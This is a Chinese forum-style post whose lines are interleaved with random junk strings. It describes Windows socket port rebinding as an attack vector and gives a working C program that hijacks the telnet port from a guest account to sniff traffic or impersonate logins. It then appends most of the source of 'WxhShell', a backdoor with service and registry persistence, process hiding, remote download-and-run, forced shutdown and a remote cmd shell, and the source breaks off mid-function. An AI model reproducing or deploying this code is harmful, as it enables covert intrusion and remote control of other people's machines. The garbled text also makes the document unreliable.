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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?E7.x%n7X5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jF%l\$)/ S]DYEL$ saddr.sin_family = AF_INET; g8;JpP w SZC1$..2T saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5,?Au j=w`%nh4"f bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s KOy6v
QLyBP!X- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PF-"^2&_ ON$-g_s>) 这意味着什么?意味着可以进行如下的攻击: Z65]| O0>^?dsL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _ 6'HBE _qhYG1t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,9ZN k@q 4K$d% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w24@KaKFo xr4kBC
t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 31}kNc}n zI3Bb?4. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (yi{<$U* nYO4JlNP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3+ r8yiY
Uzd\#edxJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MQGR-WV=5 mkt%|Kb. #include #k<j`0kiq #include ,(CIcDJ2U_ #include 0~j0x# #include . xdSUe DWORD WINAPI ClientThread(LPVOID lpParam); 8Dy;'BtT int main() k-\RdX)E { }KwL_\>&f WORD wVersionRequested; mw&)j R$& DWORD ret; 421ol WSADATA wsaData; tsu Mt BOOL val; DU-&bm SOCKADDR_IN saddr;
\py
\rI SOCKADDR_IN scaddr; fP:g}Z int err; )%&~CW+ SOCKET s; xA2"i2k9 SOCKET sc; ,_2ZKO/k$ int caddsize; ;-X5# HANDLE mt; + %07J6 DWORD tid; m339Y2%= wVersionRequested = MAKEWORD( 2, 2 ); -V)DKf"f err = WSAStartup( wVersionRequested, &wsaData ); -:o4|&g<* if ( err != 0 ) { P ||:?3IH printf("error!WSAStartup failed!\n"); 2hI|]p return -1; ];1Mg } m`Ver:{ saddr.sin_family = AF_INET; 8z
h{?0 mdTCe
HX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vMV}M%~ 2bk~6Osp saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Grw|8xN0t saddr.sin_port = htons(23); 6S#e?>"+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `aW>h8$I) { -(]s!, printf("error!socket failed!\n"); rt[w
yz8 return -1; %0!!998 } 0xYPK7a=L\ val = TRUE; jRP9e //SO_REUSEADDR选项就是可以实现端口重绑定的 -r5JP[0kP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {"uLV{d { %nfaU~IqK printf("error!setsockopt failed!\n"); kq kj.#u return -1; %Z=%E!* } {FU,om9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [_h/DhC:+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i7/I8y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6eh\-+= Bqd'2HQd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :_FnQhzg { ^%?*u;uU% ret=GetLastError(); OF)G2>t printf("error!bind failed!\n"); '-7rHx return -1; IE|$mUabm } plRBfw>]N listen(s,2); Z4 +6' while(1) zFqlTUD`t { VNcxST15a caddsize = sizeof(scaddr); wjm _bEi //接受连接请求 :q0TS>l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j r<`@ if(sc!=INVALID_SOCKET) <!s+X_^ { :d
ts> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8(Ab
NQ if(mt==NULL) y7quKv7L} { *|T]('xwC printf("Thread Creat Failed!\n"); V9 dRn2- [ break; M ;\iL?, } qQu}4Ye> } 0Y81B;/F CloseHandle(mt); }9GD'N?4 } %&RF;qa2xu closesocket(s); <B?@,S> WSACleanup(); -<[MM2Y return 0; j<-#a^jb } mu[:b DWORD WINAPI ClientThread(LPVOID lpParam) msyC."j0jU { qBKRm0<W SOCKET ss = (SOCKET)lpParam; 1'[RrJ$Q SOCKET sc; 0#AS>K5 unsigned char buf[4096]; F?wfh7q SOCKADDR_IN saddr; /7
CF f&4 long num; d@a FW DWORD val; O"$uw DWORD ret; I0
78[3b //如果是隐藏端口应用的话,可以在此处加一些判断 XvU^DEfW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .S l{m[nV8 saddr.sin_family = AF_INET; `5V=U9zdE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); McRAy%{z saddr.sin_port = htons(23); c&{1Z&Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .K=r.tf~ { <,r|*pkhp~ printf("error!socket failed!\n"); %MQU&H9[ return -1; =r3 %jWH6 } O]\6Pv@N val = 100; Li jisE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QgZwU$`p0 { o"te7nBI ret = GetLastError(); TzC'xWO
return -1; Ua>lf8w< } &Hb;; Ic( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nq`@ >Ml { eD4qh4|u. ret = GetLastError(); (h}5*u%h return -1; G234UjN% } M7O5uW` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^usZ&9"@P { J4yL"iMt printf("error!socket connect failed!\n"); ZPktZ closesocket(sc); 6`>WO_<z closesocket(ss); o7/S'Haxc] return -1; f4JmY1)@ } $)1i)/]9U while(1) pSjJ u D { wxa?. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u3"0K['3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 S_E-H.d" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0Jz5i4B num = recv(ss,buf,4096,0); *Kpk1 if(num>0) 7,MDFO{n send(sc,buf,num,0); [g bYIwL. else if(num==0) 0zQ^ 6@ break; F;4*,Ap num = recv(sc,buf,4096,0); {t.5cX"[ if(num>0) k`l={f8C send(ss,buf,num,0); 9{D u)k else if(num==0) xJphG break; O%g
Q } {:D8@jb[ closesocket(ss); |[)k5nUQ| closesocket(sc); 7#~v<M6 return 0 ; 0rt@4"~~w } C 2f=9n/ qO;.{f aC\O'KcH ========================================================== y /$Q5P+o 'qL:7 下边附上一个代码,,WXhSHELL /$Qs1* ))/NGa ========================================================== (=2-*((&(A W'|NYw_B #include "stdafx.h" :]Nn(}, YXJr eM5 #include <stdio.h> kPhdfF*Q #include <string.h> jL
}bGD #include <windows.h> /5Od:n #include <winsock2.h> DjyqQyq~ #include <winsvc.h> f9" M^i #include <urlmon.h> :U6"HP+?g- <EhOIN7@*D #pragma comment (lib, "Ws2_32.lib") v r=va5 #pragma comment (lib, "urlmon.lib") ans(^Up$ 04K[U9W3 #define MAX_USER 100 // 最大客户端连接数 _d|CO #define BUF_SOCK 200 // sock buffer B0h|Y.S8%1 #define KEY_BUFF 255 // 输入 buffer .3X5~OH CIxa" MW #define REBOOT 0 // 重启 e=>:(^CS #define SHUTDOWN 1 // 关机 1@dB*Jt #x?Ku\ts #define DEF_PORT 5000 // 监听端口 mY1I{'. x7<2K( #define REG_LEN 16 // 注册表键长度 .wU0F #define SVC_LEN 80 // NT服务名长度 .tdaj6x HT`k-}ho, // 从dll定义API N)I9NM[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6'{/Ote typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D*%? 0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q9yIQ{>H[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6`PQP;
Q #Tg)5.\ // wxhshell配置信息 (#&-ld6 struct WSCFG { $ Jz(Lb{ int ws_port; // 监听端口 ]C;X/8'Jf5 char ws_passstr[REG_LEN]; // 口令 x%v[(*F#y int ws_autoins; // 安装标记, 1=yes 0=no e3#0r char ws_regname[REG_LEN]; // 注册表键名 %E R"Udh char ws_svcname[REG_LEN]; // 服务名 a2!U9->! char ws_svcdisp[SVC_LEN]; // 服务显示名 z4qc)-
{L char ws_svcdesc[SVC_LEN]; // 服务描述信息 URd0|?t9^L char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H;h$k]T int ws_downexe; // 下载执行标记, 1=yes 0=no oe'f?IY char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qa\e`LD%Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U<YcUmX tx*L8'jlN }; mn].8F -wsoJh
// default Wxhshell configuration 7C&J88|\ struct WSCFG wscfg={DEF_PORT, o7r7HmA@ "xuhuanlingzhe", %`_Rl>@K= 1, K7 J RCLA "Wxhshell", 5K:'VX "Wxhshell", e9=UTn{! "WxhShell Service", vg-Ah6BC{ "Wrsky Windows CmdShell Service", #n7F7X "Please Input Your Password: ", zA>LrtyK(= 1, 2zV{I* " http://www.wrsky.com/wxhshell.exe", =*5< w "Wxhshell.exe" /E39Z* }; &o;d ? K ,d // 消息定义模块 ;!+-fn4C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,M.phRJ-` char *msg_ws_prompt="\n\r? for help\n\r#>"; }Q?a6(4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; K1+4W=| char *msg_ws_ext="\n\rExit."; )ZW[$:wA char *msg_ws_end="\n\rQuit."; \ xJ_)r char *msg_ws_boot="\n\rReboot..."; j* ZU}Ss char *msg_ws_poff="\n\rShutdown..."; yPd6{% w char *msg_ws_down="\n\rSave to "; 8FIk|p|l^ &RHZ7T char *msg_ws_err="\n\rErr!"; '8yC wk char *msg_ws_ok="\n\rOK!"; _UA|0a!- 4
Aj<k char ExeFile[MAX_PATH]; i91 =h int nUser = 0; ~m'8<B5+ HANDLE handles[MAX_USER]; h+ms%tNT int OsIsNt; &z]x\4#, H%b c.c SERVICE_STATUS serviceStatus; L>Y3t1= SERVICE_STATUS_HANDLE hServiceStatusHandle; ~n~j2OE n *EGOS // 函数声明 !(F?Np Am int Install(void); [v+5|twxpU int Uninstall(void); iG ,z3/~v int DownloadFile(char *sURL, SOCKET wsh); ^@C/2RX! int Boot(int flag); aXyFpGdb9 void HideProc(void); O'Q,;s`uC int GetOsVer(void); b8 E{~z int Wxhshell(SOCKET wsl); xHD$0eq void TalkWithClient(void *cs); b['v0x int CmdShell(SOCKET sock); noso* K7 int StartFromService(void); vdcPpj^d5 int StartWxhshell(LPSTR lpCmdLine); B k*Rz4Oa VaW^;d# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Z3B9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6oI/*`> _o T+x%i // 数据结构和表定义 ? *v*fs0 SERVICE_TABLE_ENTRY DispatchTable[] = xi<yB0MoA { Yr*!T= z {wscfg.ws_svcname, NTServiceMain}, S"t\LB*'Ls {NULL, NULL} ~dC.," }; z1^3~U$} Ou4 `#7FR // 自我安装 %>y`VN
D int Install(void) AtUt E#K { m5o$Dus+?' char svExeFile[MAX_PATH];
i-ww@ XOQ HKEY key; sd"eu strcpy(svExeFile,ExeFile); gZ|!' UcKVLzKs // 如果是win9x系统,修改注册表设为自启动 ?iZM.$![ if(!OsIsNt) { l;rA}?,.^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^?2zoS#iw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !' 0PM[ RegCloseKey(key); ckb(+*+l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &ty-aB=F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Hyy .a RegCloseKey(key); qg/FI#r return 0; Dkx}}E:< } BCuoFw) } lGt:.p{NG } %^d<go^ else { =CW> ;h] (<
>L fn // 如果是NT以上系统,安装为系统服务 jz~#K;3=, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ORM3oucP if (schSCManager!=0) ~"_!O+Pj { #].qjOj SC_HANDLE schService = CreateService DK? Z ( 4TI` schSCManager, )4h|7^6ji wscfg.ws_svcname, $@vB<(sk wscfg.ws_svcdisp, P3IBi_YyG1 SERVICE_ALL_ACCESS, ~
MsHV% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !RPE-S SERVICE_AUTO_START, V c;g$Xr[ SERVICE_ERROR_NORMAL, M~7Cb>%< svExeFile, VC0Tqk NULL, "UreV NULL, 8f1M6GK? NULL, Bd 0oA
)i NULL, 5
1N/XEk NULL 0y t36Du ); omGzyuPF if (schService!=0) Qv`: E { P*B@it CloseServiceHandle(schService); 2
6DX4 CloseServiceHandle(schSCManager); 5}Id[%.x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;5.<M<PH strcat(svExeFile,wscfg.ws_svcname); ?PS?_+E\L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lq$ig8V:O7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T*gG <8 RegCloseKey(key); %t$KVV return 0; 71>,tq } tSux5yV } ]l C2YD} CloseServiceHandle(schSCManager); IdMwpru( } xY/F)JOeG } :iLRCK3C nW*cqM%+ return 1; $)$r } ^pH8'^n YK[2KTlo // 自我卸载 sVBr6
!v= int Uninstall(void) Mtv{37k~ { kI9I{ &J& HKEY key; }!{R;,5/n IU5T5p if(!OsIsNt) { Yi,`uJKh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V9SL96'[I RegDeleteValue(key,wscfg.ws_regname); OF={k[ RegCloseKey(key); M 87CP=yc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?hGE[.(eh] RegDeleteValue(key,wscfg.ws_regname); N UvVhy]{ RegCloseKey(key); #rF`Hk: return 0; _WvVF*Q"k } M)!"R [V } $./aKJ1B } 7G^Q2w else { *r[V[9+y-D y2#"\5dC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0;@>jo6,! if (schSCManager!=0) d/jP2uuA { (_!I2"Q* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vb?.`B_>& if (schService!=0) 9od*N$ { ~c<8;,cjYR if(DeleteService(schService)!=0) { S5u$I CloseServiceHandle(schService); kS&>g CloseServiceHandle(schSCManager); :hs~;vn) return 0; U]gUGD!5x } 7M4J{}9 CloseServiceHandle(schService); 9PA<g3z } akNqSZwj CloseServiceHandle(schSCManager); r180vbN$ } hSw=Oq82 } Pzq^x] 9Q}g
Vqn return 1; I<CrEL<5}~ } qPD(D{,f$ qbD
7\% // 从指定url下载文件 EpNN!s=Q int DownloadFile(char *sURL, SOCKET wsh) \/<VJB
uV { 7I'C'.6iM HRESULT hr; .#bf9JOE char seps[]= "/"; w&p(/y char *token; 7 s{vou char *file; UO&$1rV char myURL[MAX_PATH]; >V?0#f45@ char myFILE[MAX_PATH]; h'};spv B~ i strcpy(myURL,sURL); `7w-_o
% token=strtok(myURL,seps); +a^gC
while(token!=NULL) y]+5Y.Cw$ { k9OGnCW\ file=token; vm[*+&\2 token=strtok(NULL,seps); 7@>/O)>(AS } ]b;m~|9 x x>hJ! GetCurrentDirectory(MAX_PATH,myFILE); C
'MR=/sd strcat(myFILE, "\\"); 'nGUm[vh strcat(myFILE, file); \Z3K ~ send(wsh,myFILE,strlen(myFILE),0); d8vf
kVB send(wsh,"...",3,0); G\BZ^SwE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QEf@wv;T if(hr==S_OK) -*4*hHmb return 0; 3.?be.cq else ?R#$
c] return 1; nOL.% r9&m^,U } yD7} x1#>"z7 // 系统电源模块 7~QI4'e int Boot(int flag) ur8+k4]\" { 5Y^"&h[/ HANDLE hToken; ciN\SA ZY TOKEN_PRIVILEGES tkp; h#O9TB |xcI~ X7Q if(OsIsNt) { El5} f4sl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K2yNIq_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cbyzZ#WRb tkp.PrivilegeCount = 1; p9?kJKN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^@AyC"K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -)oUb=Lk{ if(flag==REBOOT) { [ ,Go*r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }' AY#g return 0; ; $80}TY ' } a24 AmoWx else { bg-/
8, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .7^(~&5N return 0; z``wqK } /m"/#; ^l } <A)M^,#o else { *PnO$q@` if(flag==REBOOT) { B F<u3p?? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `"&Nw,C return 0; A_oZSUrR } $xZ ~bE9 else { Cn3_D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
SW#/;|m return 0; &;d
N:F; } gx9Os2Z|3 } :}v-+eIQ ;C$+8%P4 return 1; i>YQ<A1 } K#wA ; }psRgF // win9x进程隐藏模块 e9KD mX_ void HideProc(void) s/IsrcfM { $!.>)n '^_u5Y] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7:u+cv if ( hKernel != NULL ) hOAZvrfQ4 { /VT/KT{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~\CS%thX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N~O3KG q FreeLibrary(hKernel); dn-
[Gnde } f<@!{y2Xe ^-~JkW'z return; ?x #K:a? } ~< bpdI0 H\ejW@<;h // 获取操作系统版本 f+ceL'fr int GetOsVer(void) 8-nf4=ll { ~%/Rc` OSVERSIONINFO winfo; zg<-%r'$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .
|T=T0^ GetVersionEx(&winfo); B]"`}jn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^_bG{du return 1; `sCaGCp else ,-y9P return 0; V[nPTYO4 } g;63$_< T(7`$<TQ // 客户端句柄模块 29RP$$gR int Wxhshell(SOCKET wsl) DQXUh#t\(] { ;3cbXc@] SOCKET wsh; #_ |B6!D! struct sockaddr_in client; }R['Zoh4I DWORD myID; {\[ Gl \tI%[g1M while(nUser<MAX_USER) ~U]g;u { ;AEfU^[
int nSize=sizeof(client); LBK{-(% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2@zduL'do_ if(wsh==INVALID_SOCKET) return 1; Sf, z XX~vg>3_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ':wf%_Iw if(handles[nUser]==0) c
3QgX4vq closesocket(wsh); J2W-l{`r< else ~:z.Xu5m nUser++; Pq omi!1 } =*,SD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K.)!qkW-%S >S +} return 0; )r9 9zdUk } !uEEuD# BY6#dlDi // 关闭 socket o]e,5] void CloseIt(SOCKET wsh) lnZ{Ryo( { 5.~Je6K U closesocket(wsh); '8X>,un nUser--; S 5S\zTPIf ExitThread(0); ~wb1sn3 } v03cQw\"WE 6$k#B ~~ // 客户端请求句柄 X1|
+9 void TalkWithClient(void *cs)
7=6:ZSI { b&z#ZY lYx_8x2 SOCKET wsh=(SOCKET)cs; ]<f)Rf">:` char pwd[SVC_LEN]; a$My6Qa# char cmd[KEY_BUFF]; FQ<-Wc char chr[1]; 7]h %?W! int i,j; h&<"jCjL $xbC^ k while (nUser < MAX_USER) { 9pp+<c +vh|m5"7I7 if(wscfg.ws_passstr) { NfgXOLthM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;>J!$B?, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T+0=Ou"N //ZeroMemory(pwd,KEY_BUFF); &K9;GZS? i=0; &uNec(c while(i<SVC_LEN) { _ .v G) '$tCAS // 设置超时 /Y7^!3uM fd_set FdRead; TrjyU struct timeval TimeOut; =A"Abmx| FD_ZERO(&FdRead); xE1?) FD_SET(wsh,&FdRead); bwsKdh TimeOut.tv_sec=8; uk):z$x TimeOut.tv_usec=0; HbKE;N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +MoUh'/u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <|Td0|x
_q cI=6zMB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [RyVR pwd =chr[0]; ;.>*O
oe& if(chr[0]==0xd || chr[0]==0xa) { Cy~ IB [ pwd=0; |p|Zv H break; s.2f'i+ } 2@|`Ugjptl i++; ?XBdBR_"^ } eHphM;C pHeG{<^ // 如果是非法用户,关闭 socket F5o8@ Ib]: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =L!&Z } U%q)T61 KYFKH+d>m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0@ `]m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k%.v`H! 8Y`Lq$u while(1) { F\:~^` clE9I<1v ZeroMemory(cmd,KEY_BUFF); VeA@HC`?" ^)AECn // 自动支持客户端 telnet标准 ='7m$,{(Q[ j=0; -$d?e%}# while(j<KEY_BUFF) { c#OxI*,+/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? x%s
j cmd[j]=chr[0]; K.Xy:l*z if(chr[0]==0xa || chr[0]==0xd) { h3MdQlJ& cmd[j]=0;
R3>q ] break; }LUvh } MP%#)O6 j++; 'n &p5% } ` ~GXK ?WI v4 // 下载文件 /vQ)$;xf# if(strstr(cmd,"http://")) { x93@[B*% send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5aQ)qUgAW if(DownloadFile(cmd,wsh)) Ua1&eCZi send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'P.y? else S<mZs; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,1-%C) } T^A(v(^D else { *lfjsrPu S^QEc tXU switch(cmd[0]) { q\fbrv%I4 !sT>]e // 帮助 K9<8FSn case '?': { a5a
;Fp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7e<=(\(yl break; _J,**AZ~z } V.~kG ,Ht // 安装 dwA"QVp{ case 'i': { E>fY,*0 if(Install()) nW=6nCyvo send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;mw?B[ else xdSMYH{2A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z
g7Q` break; YD4I2'E } a*M|_&MH* // 卸载 %['NPs%B case 'r': { (hc!!:N~q if(Uninstall()) N_%@_$3G] send(wsh,msg_ws_err,strlen(msg_ws_err),0); }e7Rpgu else Wv4$Lgr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (:iMs)
iO{ break; Qf:e;1F! } c &c // 显示 wxhshell 所在路径 S>lP?2J case 'p': { *l7 `C) char svExeFile[MAX_PATH]; P]+B})) strcpy(svExeFile,"\n\r"); `,O7S9]R+ strcat(svExeFile,ExeFile); {z o GwB send(wsh,svExeFile,strlen(svExeFile),0); %Wtf24'o;v break; =ejcP&-V/ } F8%^Ed~@ // 重启 4MC]s~n case 'b': { 6~dAK3v5 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xW"O|x$6 if(Boot(REBOOT)) S^s-md> send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4+/0\ else { D0J{pAJ closesocket(wsh); %|jS`kj ExitThread(0); F}Zg3# } h7]+#U]mi break; 49"C'n0wST } ~}OaX+! // 关机 W6?=9].gc case 'd': { |gkNhxzB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N XB8u6 if(Boot(SHUTDOWN)) 4~
x>] send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA
a:!p else { ,ei9 ?9J1 closesocket(wsh); yzEyOz@Q ExitThread(0); UP#@gxF } Uz ;^R@ break; Q<>u)%92@ } imOIO[<; // 获取shell / Xnq0hN case 's': { l>*X+TpA, CmdShell(wsh); $HwF:L)* closesocket(wsh); ]ZLF= ExitThread(0); 60{G
4b) break; 5Sl"1HL } jTwSyW // 退出 bB@=J~l4 case 'x': { W=Syo&;F8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TTG=7x:3 CloseIt(wsh); Bo:epus}\ break; _J C*4 }
s(_z1 // 离开 7sVM[lr< case 'q': { O+!4KNN.- send(wsh,msg_ws_end,strlen(msg_ws_end),0); :h@V,m Z closesocket(wsh); z,;XWv? WSACleanup(); Q
&/5B exit(1); X
-1r$. break; LR&MhG7 } i,^-9 } Xau%v5r } o?]Q&,tO Q`i@['?p // 提示信息 $2FU<w$5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U*nB=
= } wQW`Er3w } "1|geO| j&ti "|2\ return; &. _"rhz } Ee5YW/9] 39^+;Mev // shell模块句柄 )EMlGM'2q int CmdShell(SOCKET sock) $`OyGeq"T { l_k:OZ STARTUPINFO si; XY)X-K$ ZeroMemory(&si,sizeof(si)); Q'U! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xS,F
DPA si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YUSrZ9Yg PROCESS_INFORMATION ProcessInfo; i:Y5aZc/Ds char cmdline[]="cmd"; t7-r YY( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,'C*?mms return 0; [vI ;A! } 9@qkj
4w &CRgi488b // 自身启动模式 o0AT&<K int StartFromService(void) +M.BMS2A<l { 86LE
)z typedef struct 5XT^K)' { z81dm DWORD ExitStatus; ~F@p}u8TV DWORD PebBaseAddress; bD)"Jy DWORD AffinityMask; )fo0YpE^| DWORD BasePriority; HH6n3c!:mm ULONG UniqueProcessId; E$_zBD% ULONG InheritedFromUniqueProcessId; 'Rnzu0<lF } PROCESS_BASIC_INFORMATION; #^9bBF/ NJJ=ch PROCNTQSIP NtQueryInformationProcess; %,$xmoj9O] m|JA}&A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @GXKqi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4SUzR\ T5`ML'Dej HANDLE hProcess; G9&2s%lu.e PROCESS_BASIC_INFORMATION pbi; }r18Y6 IqlCl>_j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [qY yr if(NULL == hInst ) return 0; =XYc2.t @?s>oSyV g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }72\Aw5 